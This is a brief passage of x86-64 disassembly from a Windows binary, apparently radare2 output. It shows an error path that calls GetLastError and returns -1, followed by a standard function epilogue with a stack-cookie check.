je 0x14009dcb4
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [r14], eax
mov eax, 0xffffffff
jmp 0x14009ddbd
xor eax, eax
mov r12, qword [rsp + 0x58]
mov r15, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400cc030
add rsp, 0x60
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret